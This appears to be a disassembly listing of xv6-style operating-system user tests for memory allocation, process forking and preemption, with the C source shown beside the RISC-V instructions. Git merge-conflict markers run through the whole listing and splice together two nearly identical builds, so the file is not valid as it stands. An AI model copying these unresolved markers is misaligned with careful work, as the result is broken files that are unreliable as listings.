3ac4: 97aa add a5,a5,a0
3ac6: 06300693 li a3,99
3aca: 6705 lui a4,0x1
3acc: 00d50023 sb a3,0(a0) # 40000000 <__BSS_END__+0x3fff15e0>
3ad0: 953a add a0,a0,a4
3ad2: fef51de3 bne a0,a5,3acc <sbrkbasic+0x3e>
3ad6: 4505 li a0,1
3ad8: 00002097 auipc ra,0x2
3adc: 9f4080e7 jalr -1548(ra) # 54cc <exit>
3ae0: 00004517 auipc a0,0x4
3ae4: bb050513 addi a0,a0,-1104 # 7690 <l_free+0x1c28>
3ae8: 00002097 auipc ra,0x2
3aec: d5e080e7 jalr -674(ra) # 5846 <printf>
3af0: 4505 li a0,1
3af2: 00002097 auipc ra,0x2
3af6: 9da080e7 jalr -1574(ra) # 54cc <exit>
3afa: 4501 li a0,0
3afc: 00002097 auipc ra,0x2
3b00: 9d0080e7 jalr -1584(ra) # 54cc <exit>
3b04: 4529 li a0,10
3b06: 00002097 auipc ra,0x2
3b0a: a56080e7 jalr -1450(ra) # 555c <sleep>
3b0e: fcc40513 addi a0,s0,-52
3b12: 00002097 auipc ra,0x2
3b16: 9c2080e7 jalr -1598(ra) # 54d4 <wait>
3b1a: fcc42703 lw a4,-52(s0)
3b1e: 4785 li a5,1
3b20: 02f70563 beq a4,a5,3b4a <sbrkbasic+0xbc>
3b24: 6505 lui a0,0x1
3b26: 00002097 auipc ra,0x2
3b2a: a2e080e7 jalr -1490(ra) # 5554 <sbrk>
3b2e: 47a9 li a5,10
3b30: 00f50023 sb a5,0(a0) # 1000 <bigdir+0x134>
=======
pid = fork();
3aa0: 00002097 auipc ra,0x2
3aa4: a24080e7 jalr -1500(ra) # 54c4 <fork>
if (pid < 0) {
3aa8: 02054c63 bltz a0,3ae0 <sbrkbasic+0x52>
if (pid == 0) {
3aac: ed21 bnez a0,3b04 <sbrkbasic+0x76>
a = sbrk(TOOMUCH);
3aae: 40000537 lui a0,0x40000
3ab2: 00002097 auipc ra,0x2
3ab6: aa2080e7 jalr -1374(ra) # 5554 <sbrk>
if (a == (char *)0xffffffffffffffffL) {
3aba: 57fd li a5,-1
3abc: 02f50f63 beq a0,a5,3afa <sbrkbasic+0x6c>
for (b = a; b < a + TOOMUCH; b += 4096) {
3ac0: 400007b7 lui a5,0x40000
3ac4: 97aa add a5,a5,a0
*b = 99;
3ac6: 06300693 li a3,99
for (b = a; b < a + TOOMUCH; b += 4096) {
3aca: 6705 lui a4,0x1
*b = 99;
3acc: 00d50023 sb a3,0(a0) # 40000000 <__BSS_END__+0x3fff1638>
for (b = a; b < a + TOOMUCH; b += 4096) {
3ad0: 953a add a0,a0,a4
3ad2: fef51de3 bne a0,a5,3acc <sbrkbasic+0x3e>
exit(1);
3ad6: 4505 li a0,1
3ad8: 00002097 auipc ra,0x2
3adc: 9f4080e7 jalr -1548(ra) # 54cc <exit>
printf("fork failed in sbrkbasic\n");
3ae0: 00004517 auipc a0,0x4
3ae4: bb050513 addi a0,a0,-1104 # 7690 <l_free+0x1c2a>
3ae8: 00002097 auipc ra,0x2
3aec: d5c080e7 jalr -676(ra) # 5844 <printf>
exit(1);
3af0: 4505 li a0,1
3af2: 00002097 auipc ra,0x2
3af6: 9da080e7 jalr -1574(ra) # 54cc <exit>
exit(0);
3afa: 4501 li a0,0
3afc: 00002097 auipc ra,0x2
3b00: 9d0080e7 jalr -1584(ra) # 54cc <exit>
sleep(10);
3b04: 4529 li a0,10
3b06: 00002097 auipc ra,0x2
3b0a: a56080e7 jalr -1450(ra) # 555c <sleep>
wait(&xstatus);
3b0e: fcc40513 addi a0,s0,-52
3b12: 00002097 auipc ra,0x2
3b16: 9c2080e7 jalr -1598(ra) # 54d4 <wait>
if (xstatus == 1) {
3b1a: fcc42703 lw a4,-52(s0)
3b1e: 4785 li a5,1
3b20: 02f70563 beq a4,a5,3b4a <sbrkbasic+0xbc>
char *ss = sbrk(4096);
3b24: 6505 lui a0,0x1
3b26: 00002097 auipc ra,0x2
3b2a: a2e080e7 jalr -1490(ra) # 5554 <sbrk>
*ss = 10;
3b2e: 47a9 li a5,10
3b30: 00f50023 sb a5,0(a0) # 1000 <bigdir+0x134>
a = sbrk(0);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3b34: 4501 li a0,0
3b36: 00002097 auipc ra,0x2
3b3a: a1e080e7 jalr -1506(ra) # 5554 <sbrk>
3b3e: 84aa mv s1,a0
<<<<<<< HEAD
=======
for (i = 0; i < 5000; i++) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3b40: 4901 li s2,0
3b42: 6985 lui s3,0x1
3b44: 38898993 addi s3,s3,904 # 1388 <truncate3+0x76>
3b48: a005 j 3b68 <sbrkbasic+0xda>
<<<<<<< HEAD
3b4a: 85d2 mv a1,s4
3b4c: 00004517 auipc a0,0x4
3b50: b6450513 addi a0,a0,-1180 # 76b0 <l_free+0x1c48>
3b54: 00002097 auipc ra,0x2
3b58: cf2080e7 jalr -782(ra) # 5846 <printf>
3b5c: 4505 li a0,1
3b5e: 00002097 auipc ra,0x2
3b62: 96e080e7 jalr -1682(ra) # 54cc <exit>
3b66: 84be mv s1,a5
3b68: 4505 li a0,1
3b6a: 00002097 auipc ra,0x2
3b6e: 9ea080e7 jalr -1558(ra) # 5554 <sbrk>
3b72: 04951c63 bne a0,s1,3bca <sbrkbasic+0x13c>
3b76: 4785 li a5,1
3b78: 00f48023 sb a5,0(s1)
3b7c: 00148793 addi a5,s1,1
3b80: 2905 addiw s2,s2,1
3b82: ff3912e3 bne s2,s3,3b66 <sbrkbasic+0xd8>
3b86: 00002097 auipc ra,0x2
3b8a: 93e080e7 jalr -1730(ra) # 54c4 <fork>
3b8e: 892a mv s2,a0
3b90: 04054d63 bltz a0,3bea <sbrkbasic+0x15c>
3b94: 4505 li a0,1
3b96: 00002097 auipc ra,0x2
3b9a: 9be080e7 jalr -1602(ra) # 5554 <sbrk>
3b9e: 4505 li a0,1
3ba0: 00002097 auipc ra,0x2
3ba4: 9b4080e7 jalr -1612(ra) # 5554 <sbrk>
3ba8: 0489 addi s1,s1,2
3baa: 04a48e63 beq s1,a0,3c06 <sbrkbasic+0x178>
3bae: 85d2 mv a1,s4
3bb0: 00004517 auipc a0,0x4
3bb4: b6050513 addi a0,a0,-1184 # 7710 <l_free+0x1ca8>
3bb8: 00002097 auipc ra,0x2
3bbc: c8e080e7 jalr -882(ra) # 5846 <printf>
3bc0: 4505 li a0,1
3bc2: 00002097 auipc ra,0x2
3bc6: 90a080e7 jalr -1782(ra) # 54cc <exit>
=======
printf("%s: too much memory allocated!\n", s);
3b4a: 85d2 mv a1,s4
3b4c: 00004517 auipc a0,0x4
3b50: b6450513 addi a0,a0,-1180 # 76b0 <l_free+0x1c4a>
3b54: 00002097 auipc ra,0x2
3b58: cf0080e7 jalr -784(ra) # 5844 <printf>
exit(1);
3b5c: 4505 li a0,1
3b5e: 00002097 auipc ra,0x2
3b62: 96e080e7 jalr -1682(ra) # 54cc <exit>
a = b + 1;
3b66: 84be mv s1,a5
b = sbrk(1);
3b68: 4505 li a0,1
3b6a: 00002097 auipc ra,0x2
3b6e: 9ea080e7 jalr -1558(ra) # 5554 <sbrk>
if (b != a) {
3b72: 04951c63 bne a0,s1,3bca <sbrkbasic+0x13c>
*b = 1;
3b76: 4785 li a5,1
3b78: 00f48023 sb a5,0(s1)
a = b + 1;
3b7c: 00148793 addi a5,s1,1
for (i = 0; i < 5000; i++) {
3b80: 2905 addiw s2,s2,1
3b82: ff3912e3 bne s2,s3,3b66 <sbrkbasic+0xd8>
pid = fork();
3b86: 00002097 auipc ra,0x2
3b8a: 93e080e7 jalr -1730(ra) # 54c4 <fork>
3b8e: 892a mv s2,a0
if (pid < 0) {
3b90: 04054d63 bltz a0,3bea <sbrkbasic+0x15c>
c = sbrk(1);
3b94: 4505 li a0,1
3b96: 00002097 auipc ra,0x2
3b9a: 9be080e7 jalr -1602(ra) # 5554 <sbrk>
c = sbrk(1);
3b9e: 4505 li a0,1
3ba0: 00002097 auipc ra,0x2
3ba4: 9b4080e7 jalr -1612(ra) # 5554 <sbrk>
if (c != a + 1) {
3ba8: 0489 addi s1,s1,2
3baa: 04a48e63 beq s1,a0,3c06 <sbrkbasic+0x178>
printf("%s: sbrk test failed post-fork\n", s);
3bae: 85d2 mv a1,s4
3bb0: 00004517 auipc a0,0x4
3bb4: b6050513 addi a0,a0,-1184 # 7710 <l_free+0x1caa>
3bb8: 00002097 auipc ra,0x2
3bbc: c8c080e7 jalr -884(ra) # 5844 <printf>
exit(1);
3bc0: 4505 li a0,1
3bc2: 00002097 auipc ra,0x2
3bc6: 90a080e7 jalr -1782(ra) # 54cc <exit>
printf("%s: sbrk test failed %d %x %x\n", i, a, b);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3bca: 86aa mv a3,a0
3bcc: 8626 mv a2,s1
3bce: 85ca mv a1,s2
3bd0: 00004517 auipc a0,0x4
<<<<<<< HEAD
3bd4: b0050513 addi a0,a0,-1280 # 76d0 <l_free+0x1c68>
3bd8: 00002097 auipc ra,0x2
3bdc: c6e080e7 jalr -914(ra) # 5846 <printf>
3be0: 4505 li a0,1
3be2: 00002097 auipc ra,0x2
3be6: 8ea080e7 jalr -1814(ra) # 54cc <exit>
3bea: 85d2 mv a1,s4
3bec: 00004517 auipc a0,0x4
3bf0: b0450513 addi a0,a0,-1276 # 76f0 <l_free+0x1c88>
3bf4: 00002097 auipc ra,0x2
3bf8: c52080e7 jalr -942(ra) # 5846 <printf>
3bfc: 4505 li a0,1
3bfe: 00002097 auipc ra,0x2
3c02: 8ce080e7 jalr -1842(ra) # 54cc <exit>
3c06: 00091763 bnez s2,3c14 <sbrkbasic+0x186>
3c0a: 4501 li a0,0
3c0c: 00002097 auipc ra,0x2
3c10: 8c0080e7 jalr -1856(ra) # 54cc <exit>
3c14: fcc40513 addi a0,s0,-52
3c18: 00002097 auipc ra,0x2
3c1c: 8bc080e7 jalr -1860(ra) # 54d4 <wait>
=======
3bd4: b0050513 addi a0,a0,-1280 # 76d0 <l_free+0x1c6a>
3bd8: 00002097 auipc ra,0x2
3bdc: c6c080e7 jalr -916(ra) # 5844 <printf>
exit(1);
3be0: 4505 li a0,1
3be2: 00002097 auipc ra,0x2
3be6: 8ea080e7 jalr -1814(ra) # 54cc <exit>
printf("%s: sbrk test fork failed\n", s);
3bea: 85d2 mv a1,s4
3bec: 00004517 auipc a0,0x4
3bf0: b0450513 addi a0,a0,-1276 # 76f0 <l_free+0x1c8a>
3bf4: 00002097 auipc ra,0x2
3bf8: c50080e7 jalr -944(ra) # 5844 <printf>
exit(1);
3bfc: 4505 li a0,1
3bfe: 00002097 auipc ra,0x2
3c02: 8ce080e7 jalr -1842(ra) # 54cc <exit>
if (pid == 0)
3c06: 00091763 bnez s2,3c14 <sbrkbasic+0x186>
exit(0);
3c0a: 4501 li a0,0
3c0c: 00002097 auipc ra,0x2
3c10: 8c0080e7 jalr -1856(ra) # 54cc <exit>
wait(&xstatus);
3c14: fcc40513 addi a0,s0,-52
3c18: 00002097 auipc ra,0x2
3c1c: 8bc080e7 jalr -1860(ra) # 54d4 <wait>
exit(xstatus);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3c20: fcc42503 lw a0,-52(s0)
3c24: 00002097 auipc ra,0x2
3c28: 8a8080e7 jalr -1880(ra) # 54cc <exit>
0000000000003c2c <preempt>:
<<<<<<< HEAD
=======
void preempt(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3c2c: 7139 addi sp,sp,-64
3c2e: fc06 sd ra,56(sp)
3c30: f822 sd s0,48(sp)
3c32: f426 sd s1,40(sp)
3c34: f04a sd s2,32(sp)
3c36: ec4e sd s3,24(sp)
3c38: e852 sd s4,16(sp)
3c3a: 0080 addi s0,sp,64
3c3c: 892a mv s2,a0
<<<<<<< HEAD
3c3e: 00002097 auipc ra,0x2
3c42: 886080e7 jalr -1914(ra) # 54c4 <fork>
3c46: 00054563 bltz a0,3c50 <preempt+0x24>
3c4a: 84aa mv s1,a0
3c4c: ed19 bnez a0,3c6a <preempt+0x3e>
3c4e: a001 j 3c4e <preempt+0x22>
3c50: 00003517 auipc a0,0x3
3c54: aa050513 addi a0,a0,-1376 # 66f0 <l_free+0xc88>
3c58: 00002097 auipc ra,0x2
3c5c: bee080e7 jalr -1042(ra) # 5846 <printf>
3c60: 4505 li a0,1
3c62: 00002097 auipc ra,0x2
3c66: 86a080e7 jalr -1942(ra) # 54cc <exit>
3c6a: 00002097 auipc ra,0x2
3c6e: 85a080e7 jalr -1958(ra) # 54c4 <fork>
3c72: 89aa mv s3,a0
3c74: 00054463 bltz a0,3c7c <preempt+0x50>
3c78: e105 bnez a0,3c98 <preempt+0x6c>
3c7a: a001 j 3c7a <preempt+0x4e>
3c7c: 85ca mv a1,s2
3c7e: 00003517 auipc a0,0x3
3c82: 8b250513 addi a0,a0,-1870 # 6530 <l_free+0xac8>
3c86: 00002097 auipc ra,0x2
3c8a: bc0080e7 jalr -1088(ra) # 5846 <printf>
3c8e: 4505 li a0,1
3c90: 00002097 auipc ra,0x2
3c94: 83c080e7 jalr -1988(ra) # 54cc <exit>
3c98: fc840513 addi a0,s0,-56
3c9c: 00002097 auipc ra,0x2
3ca0: 840080e7 jalr -1984(ra) # 54dc <pipe>
3ca4: 00002097 auipc ra,0x2
3ca8: 820080e7 jalr -2016(ra) # 54c4 <fork>
3cac: 8a2a mv s4,a0
3cae: 02054e63 bltz a0,3cea <preempt+0xbe>
3cb2: e13d bnez a0,3d18 <preempt+0xec>
3cb4: fc842503 lw a0,-56(s0)
3cb8: 00002097 auipc ra,0x2
3cbc: 83c080e7 jalr -1988(ra) # 54f4 <close>
3cc0: 4605 li a2,1
3cc2: 00002597 auipc a1,0x2
3cc6: 16658593 addi a1,a1,358 # 5e28 <l_free+0x3c0>
=======
pid1 = fork();
3c3e: 00002097 auipc ra,0x2
3c42: 886080e7 jalr -1914(ra) # 54c4 <fork>
if (pid1 < 0) {
3c46: 00054563 bltz a0,3c50 <preempt+0x24>
3c4a: 84aa mv s1,a0
if (pid1 == 0)
3c4c: ed19 bnez a0,3c6a <preempt+0x3e>
for (;;)
3c4e: a001 j 3c4e <preempt+0x22>
printf("%s: fork failed");
3c50: 00003517 auipc a0,0x3
3c54: aa050513 addi a0,a0,-1376 # 66f0 <l_free+0xc8a>
3c58: 00002097 auipc ra,0x2
3c5c: bec080e7 jalr -1044(ra) # 5844 <printf>
exit(1);
3c60: 4505 li a0,1
3c62: 00002097 auipc ra,0x2
3c66: 86a080e7 jalr -1942(ra) # 54cc <exit>
pid2 = fork();
3c6a: 00002097 auipc ra,0x2
3c6e: 85a080e7 jalr -1958(ra) # 54c4 <fork>
3c72: 89aa mv s3,a0
if (pid2 < 0) {
3c74: 00054463 bltz a0,3c7c <preempt+0x50>
if (pid2 == 0)
3c78: e105 bnez a0,3c98 <preempt+0x6c>
for (;;)
3c7a: a001 j 3c7a <preempt+0x4e>
printf("%s: fork failed\n", s);
3c7c: 85ca mv a1,s2
3c7e: 00003517 auipc a0,0x3
3c82: 8b250513 addi a0,a0,-1870 # 6530 <l_free+0xaca>
3c86: 00002097 auipc ra,0x2
3c8a: bbe080e7 jalr -1090(ra) # 5844 <printf>
exit(1);
3c8e: 4505 li a0,1
3c90: 00002097 auipc ra,0x2
3c94: 83c080e7 jalr -1988(ra) # 54cc <exit>
pipe(pfds);
3c98: fc840513 addi a0,s0,-56
3c9c: 00002097 auipc ra,0x2
3ca0: 840080e7 jalr -1984(ra) # 54dc <pipe>
pid3 = fork();
3ca4: 00002097 auipc ra,0x2
3ca8: 820080e7 jalr -2016(ra) # 54c4 <fork>
3cac: 8a2a mv s4,a0
if (pid3 < 0) {
3cae: 02054e63 bltz a0,3cea <preempt+0xbe>
if (pid3 == 0) {
3cb2: e13d bnez a0,3d18 <preempt+0xec>
close(pfds[0]);
3cb4: fc842503 lw a0,-56(s0)
3cb8: 00002097 auipc ra,0x2
3cbc: 83c080e7 jalr -1988(ra) # 54f4 <close>
if (write(pfds[1], "x", 1) != 1)
3cc0: 4605 li a2,1
3cc2: 00002597 auipc a1,0x2
3cc6: 16658593 addi a1,a1,358 # 5e28 <l_free+0x3c2>
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3cca: fcc42503 lw a0,-52(s0)
3cce: 00002097 auipc ra,0x2
3cd2: 81e080e7 jalr -2018(ra) # 54ec <write>
3cd6: 4785 li a5,1
3cd8: 02f51763 bne a0,a5,3d06 <preempt+0xda>
<<<<<<< HEAD
3cdc: fcc42503 lw a0,-52(s0)
3ce0: 00002097 auipc ra,0x2
3ce4: 814080e7 jalr -2028(ra) # 54f4 <close>
3ce8: a001 j 3ce8 <preempt+0xbc>
3cea: 85ca mv a1,s2
3cec: 00003517 auipc a0,0x3
3cf0: 84450513 addi a0,a0,-1980 # 6530 <l_free+0xac8>
3cf4: 00002097 auipc ra,0x2
3cf8: b52080e7 jalr -1198(ra) # 5846 <printf>
3cfc: 4505 li a0,1
3cfe: 00001097 auipc ra,0x1
3d02: 7ce080e7 jalr 1998(ra) # 54cc <exit>
3d06: 00004517 auipc a0,0x4
3d0a: a2a50513 addi a0,a0,-1494 # 7730 <l_free+0x1cc8>
3d0e: 00002097 auipc ra,0x2
3d12: b38080e7 jalr -1224(ra) # 5846 <printf>
3d16: b7d9 j 3cdc <preempt+0xb0>
3d18: fcc42503 lw a0,-52(s0)
3d1c: 00001097 auipc ra,0x1
3d20: 7d8080e7 jalr 2008(ra) # 54f4 <close>
3d24: 660d lui a2,0x3
3d26: 00008597 auipc a1,0x8
3d2a: cea58593 addi a1,a1,-790 # ba10 <buf>
=======
close(pfds[1]);
3cdc: fcc42503 lw a0,-52(s0)
3ce0: 00002097 auipc ra,0x2
3ce4: 814080e7 jalr -2028(ra) # 54f4 <close>
for (;;)
3ce8: a001 j 3ce8 <preempt+0xbc>
printf("%s: fork failed\n", s);
3cea: 85ca mv a1,s2
3cec: 00003517 auipc a0,0x3
3cf0: 84450513 addi a0,a0,-1980 # 6530 <l_free+0xaca>
3cf4: 00002097 auipc ra,0x2
3cf8: b50080e7 jalr -1200(ra) # 5844 <printf>
exit(1);
3cfc: 4505 li a0,1
3cfe: 00001097 auipc ra,0x1
3d02: 7ce080e7 jalr 1998(ra) # 54cc <exit>
printf("%s: preempt write error");
3d06: 00004517 auipc a0,0x4
3d0a: a2a50513 addi a0,a0,-1494 # 7730 <l_free+0x1cca>
3d0e: 00002097 auipc ra,0x2
3d12: b36080e7 jalr -1226(ra) # 5844 <printf>
3d16: b7d9 j 3cdc <preempt+0xb0>
close(pfds[1]);
3d18: fcc42503 lw a0,-52(s0)
3d1c: 00001097 auipc ra,0x1
3d20: 7d8080e7 jalr 2008(ra) # 54f4 <close>
if (read(pfds[0], buf, sizeof(buf)) != 1) {
3d24: 660d lui a2,0x3
3d26: 00008597 auipc a1,0x8
3d2a: c9258593 addi a1,a1,-878 # b9b8 <buf>
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3d2e: fc842503 lw a0,-56(s0)
3d32: 00001097 auipc ra,0x1
3d36: 7b2080e7 jalr 1970(ra) # 54e4 <read>
3d3a: 4785 li a5,1
3d3c: 02f50263 beq a0,a5,3d60 <preempt+0x134>
<<<<<<< HEAD
3d40: 00004517 auipc a0,0x4
3d44: a0850513 addi a0,a0,-1528 # 7748 <l_free+0x1ce0>
3d48: 00002097 auipc ra,0x2
3d4c: afe080e7 jalr -1282(ra) # 5846 <printf>
=======
printf("%s: preempt read error");
3d40: 00004517 auipc a0,0x4
3d44: a0850513 addi a0,a0,-1528 # 7748 <l_free+0x1ce2>
3d48: 00002097 auipc ra,0x2
3d4c: afc080e7 jalr -1284(ra) # 5844 <printf>
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3d50: 70e2 ld ra,56(sp)
3d52: 7442 ld s0,48(sp)
3d54: 74a2 ld s1,40(sp)
3d56: 7902 ld s2,32(sp)
3d58: 69e2 ld s3,24(sp)
3d5a: 6a42 ld s4,16(sp)
3d5c: 6121 addi sp,sp,64
3d5e: 8082 ret
<<<<<<< HEAD
3d60: fc842503 lw a0,-56(s0)
3d64: 00001097 auipc ra,0x1
3d68: 790080e7 jalr 1936(ra) # 54f4 <close>
3d6c: 00004517 auipc a0,0x4
3d70: 9f450513 addi a0,a0,-1548 # 7760 <l_free+0x1cf8>
3d74: 00002097 auipc ra,0x2
3d78: ad2080e7 jalr -1326(ra) # 5846 <printf>
3d7c: 8526 mv a0,s1
3d7e: 00001097 auipc ra,0x1
3d82: 77e080e7 jalr 1918(ra) # 54fc <kill>
3d86: 854e mv a0,s3
3d88: 00001097 auipc ra,0x1
3d8c: 774080e7 jalr 1908(ra) # 54fc <kill>
3d90: 8552 mv a0,s4
3d92: 00001097 auipc ra,0x1
3d96: 76a080e7 jalr 1898(ra) # 54fc <kill>
3d9a: 00004517 auipc a0,0x4
3d9e: 9d650513 addi a0,a0,-1578 # 7770 <l_free+0x1d08>
3da2: 00002097 auipc ra,0x2
3da6: aa4080e7 jalr -1372(ra) # 5846 <printf>
3daa: 4501 li a0,0
3dac: 00001097 auipc ra,0x1
3db0: 728080e7 jalr 1832(ra) # 54d4 <wait>
3db4: 4501 li a0,0
3db6: 00001097 auipc ra,0x1
3dba: 71e080e7 jalr 1822(ra) # 54d4 <wait>
=======
close(pfds[0]);
3d60: fc842503 lw a0,-56(s0)
3d64: 00001097 auipc ra,0x1
3d68: 790080e7 jalr 1936(ra) # 54f4 <close>
printf("kill... ");
3d6c: 00004517 auipc a0,0x4
3d70: 9f450513 addi a0,a0,-1548 # 7760 <l_free+0x1cfa>
3d74: 00002097 auipc ra,0x2
3d78: ad0080e7 jalr -1328(ra) # 5844 <printf>
kill(pid1);
3d7c: 8526 mv a0,s1
3d7e: 00001097 auipc ra,0x1
3d82: 77e080e7 jalr 1918(ra) # 54fc <kill>
kill(pid2);
3d86: 854e mv a0,s3
3d88: 00001097 auipc ra,0x1
3d8c: 774080e7 jalr 1908(ra) # 54fc <kill>
kill(pid3);
3d90: 8552 mv a0,s4
3d92: 00001097 auipc ra,0x1
3d96: 76a080e7 jalr 1898(ra) # 54fc <kill>
printf("wait... ");
3d9a: 00004517 auipc a0,0x4
3d9e: 9d650513 addi a0,a0,-1578 # 7770 <l_free+0x1d0a>
3da2: 00002097 auipc ra,0x2
3da6: aa2080e7 jalr -1374(ra) # 5844 <printf>
wait(0);
3daa: 4501 li a0,0
3dac: 00001097 auipc ra,0x1
3db0: 728080e7 jalr 1832(ra) # 54d4 <wait>
wait(0);
3db4: 4501 li a0,0
3db6: 00001097 auipc ra,0x1
3dba: 71e080e7 jalr 1822(ra) # 54d4 <wait>
wait(0);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3dbe: 4501 li a0,0
3dc0: 00001097 auipc ra,0x1
3dc4: 714080e7 jalr 1812(ra) # 54d4 <wait>
3dc8: b761 j 3d50 <preempt+0x124>
0000000000003dca <sbrkfail>:
<<<<<<< HEAD
=======
void sbrkfail(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3dca: 7119 addi sp,sp,-128
3dcc: fc86 sd ra,120(sp)
3dce: f8a2 sd s0,112(sp)
3dd0: f4a6 sd s1,104(sp)
3dd2: f0ca sd s2,96(sp)
3dd4: ecce sd s3,88(sp)
3dd6: e8d2 sd s4,80(sp)
3dd8: e4d6 sd s5,72(sp)
3dda: 0100 addi s0,sp,128
3ddc: 8aaa mv s5,a0
<<<<<<< HEAD
=======
if (pipe(fds) != 0) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3dde: fb040513 addi a0,s0,-80
3de2: 00001097 auipc ra,0x1
3de6: 6fa080e7 jalr 1786(ra) # 54dc <pipe>
3dea: e901 bnez a0,3dfa <sbrkfail+0x30>
3dec: f8040493 addi s1,s0,-128
3df0: fa840993 addi s3,s0,-88
3df4: 8926 mv s2,s1
<<<<<<< HEAD
3df6: 5a7d li s4,-1
3df8: a085 j 3e58 <sbrkfail+0x8e>
3dfa: 85d6 mv a1,s5
3dfc: 00003517 auipc a0,0x3
3e00: 83c50513 addi a0,a0,-1988 # 6638 <l_free+0xbd0>
3e04: 00002097 auipc ra,0x2
3e08: a42080e7 jalr -1470(ra) # 5846 <printf>
3e0c: 4505 li a0,1
3e0e: 00001097 auipc ra,0x1
3e12: 6be080e7 jalr 1726(ra) # 54cc <exit>
=======
if (pids[i] != -1)
3df6: 5a7d li s4,-1
3df8: a085 j 3e58 <sbrkfail+0x8e>
printf("%s: pipe() failed\n", s);
3dfa: 85d6 mv a1,s5
3dfc: 00003517 auipc a0,0x3
3e00: 83c50513 addi a0,a0,-1988 # 6638 <l_free+0xbd2>
3e04: 00002097 auipc ra,0x2
3e08: a40080e7 jalr -1472(ra) # 5844 <printf>
exit(1);
3e0c: 4505 li a0,1
3e0e: 00001097 auipc ra,0x1
3e12: 6be080e7 jalr 1726(ra) # 54cc <exit>
sbrk(BIG - (uint64)sbrk(0));
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3e16: 00001097 auipc ra,0x1
3e1a: 73e080e7 jalr 1854(ra) # 5554 <sbrk>
3e1e: 064007b7 lui a5,0x6400
3e22: 40a7853b subw a0,a5,a0
3e26: 00001097 auipc ra,0x1
3e2a: 72e080e7 jalr 1838(ra) # 5554 <sbrk>
<<<<<<< HEAD
3e2e: 4605 li a2,1
3e30: 00002597 auipc a1,0x2
3e34: ff858593 addi a1,a1,-8 # 5e28 <l_free+0x3c0>
3e38: fb442503 lw a0,-76(s0)
3e3c: 00001097 auipc ra,0x1
3e40: 6b0080e7 jalr 1712(ra) # 54ec <write>
3e44: 3e800513 li a0,1000
3e48: 00001097 auipc ra,0x1
3e4c: 714080e7 jalr 1812(ra) # 555c <sleep>
3e50: bfd5 j 3e44 <sbrkfail+0x7a>
3e52: 0911 addi s2,s2,4
3e54: 03390563 beq s2,s3,3e7e <sbrkfail+0xb4>
=======
write(fds[1], "x", 1);
3e2e: 4605 li a2,1
3e30: 00002597 auipc a1,0x2
3e34: ff858593 addi a1,a1,-8 # 5e28 <l_free+0x3c2>
3e38: fb442503 lw a0,-76(s0)
3e3c: 00001097 auipc ra,0x1
3e40: 6b0080e7 jalr 1712(ra) # 54ec <write>
sleep(1000);
3e44: 3e800513 li a0,1000
3e48: 00001097 auipc ra,0x1
3e4c: 714080e7 jalr 1812(ra) # 555c <sleep>
for (;;)
3e50: bfd5 j 3e44 <sbrkfail+0x7a>
for (i = 0; i < sizeof(pids) / sizeof(pids[0]); i++) {
3e52: 0911 addi s2,s2,4
3e54: 03390563 beq s2,s3,3e7e <sbrkfail+0xb4>
if ((pids[i] = fork()) == 0) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3e58: 00001097 auipc ra,0x1
3e5c: 66c080e7 jalr 1644(ra) # 54c4 <fork>
3e60: 00a92023 sw a0,0(s2)
3e64: d94d beqz a0,3e16 <sbrkfail+0x4c>
<<<<<<< HEAD
3e66: ff4506e3 beq a0,s4,3e52 <sbrkfail+0x88>
=======
if (pids[i] != -1)
3e66: ff4506e3 beq a0,s4,3e52 <sbrkfail+0x88>
read(fds[0], &scratch, 1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3e6a: 4605 li a2,1
3e6c: faf40593 addi a1,s0,-81
3e70: fb042503 lw a0,-80(s0)
3e74: 00001097 auipc ra,0x1
3e78: 670080e7 jalr 1648(ra) # 54e4 <read>
3e7c: bfd9 j 3e52 <sbrkfail+0x88>
<<<<<<< HEAD
=======
c = sbrk(PGSIZE);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3e7e: 6505 lui a0,0x1
3e80: 00001097 auipc ra,0x1
3e84: 6d4080e7 jalr 1748(ra) # 5554 <sbrk>
3e88: 8a2a mv s4,a0
<<<<<<< HEAD
3e8a: 597d li s2,-1
3e8c: a021 j 3e94 <sbrkfail+0xca>
3e8e: 0491 addi s1,s1,4
3e90: 01348f63 beq s1,s3,3eae <sbrkfail+0xe4>
3e94: 4088 lw a0,0(s1)
3e96: ff250ce3 beq a0,s2,3e8e <sbrkfail+0xc4>
3e9a: 00001097 auipc ra,0x1
3e9e: 662080e7 jalr 1634(ra) # 54fc <kill>
=======
if (pids[i] == -1)
3e8a: 597d li s2,-1
3e8c: a021 j 3e94 <sbrkfail+0xca>
for (i = 0; i < sizeof(pids) / sizeof(pids[0]); i++) {
3e8e: 0491 addi s1,s1,4
3e90: 01348f63 beq s1,s3,3eae <sbrkfail+0xe4>
if (pids[i] == -1)
3e94: 4088 lw a0,0(s1)
3e96: ff250ce3 beq a0,s2,3e8e <sbrkfail+0xc4>
kill(pids[i]);
3e9a: 00001097 auipc ra,0x1
3e9e: 662080e7 jalr 1634(ra) # 54fc <kill>
wait(0);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3ea2: 4501 li a0,0
3ea4: 00001097 auipc ra,0x1
3ea8: 630080e7 jalr 1584(ra) # 54d4 <wait>
3eac: b7cd j 3e8e <sbrkfail+0xc4>
<<<<<<< HEAD
3eae: 57fd li a5,-1
3eb0: 04fa0163 beq s4,a5,3ef2 <sbrkfail+0x128>
3eb4: 00001097 auipc ra,0x1
3eb8: 610080e7 jalr 1552(ra) # 54c4 <fork>
3ebc: 84aa mv s1,a0
3ebe: 04054863 bltz a0,3f0e <sbrkfail+0x144>
3ec2: c525 beqz a0,3f2a <sbrkfail+0x160>
3ec4: fbc40513 addi a0,s0,-68
3ec8: 00001097 auipc ra,0x1
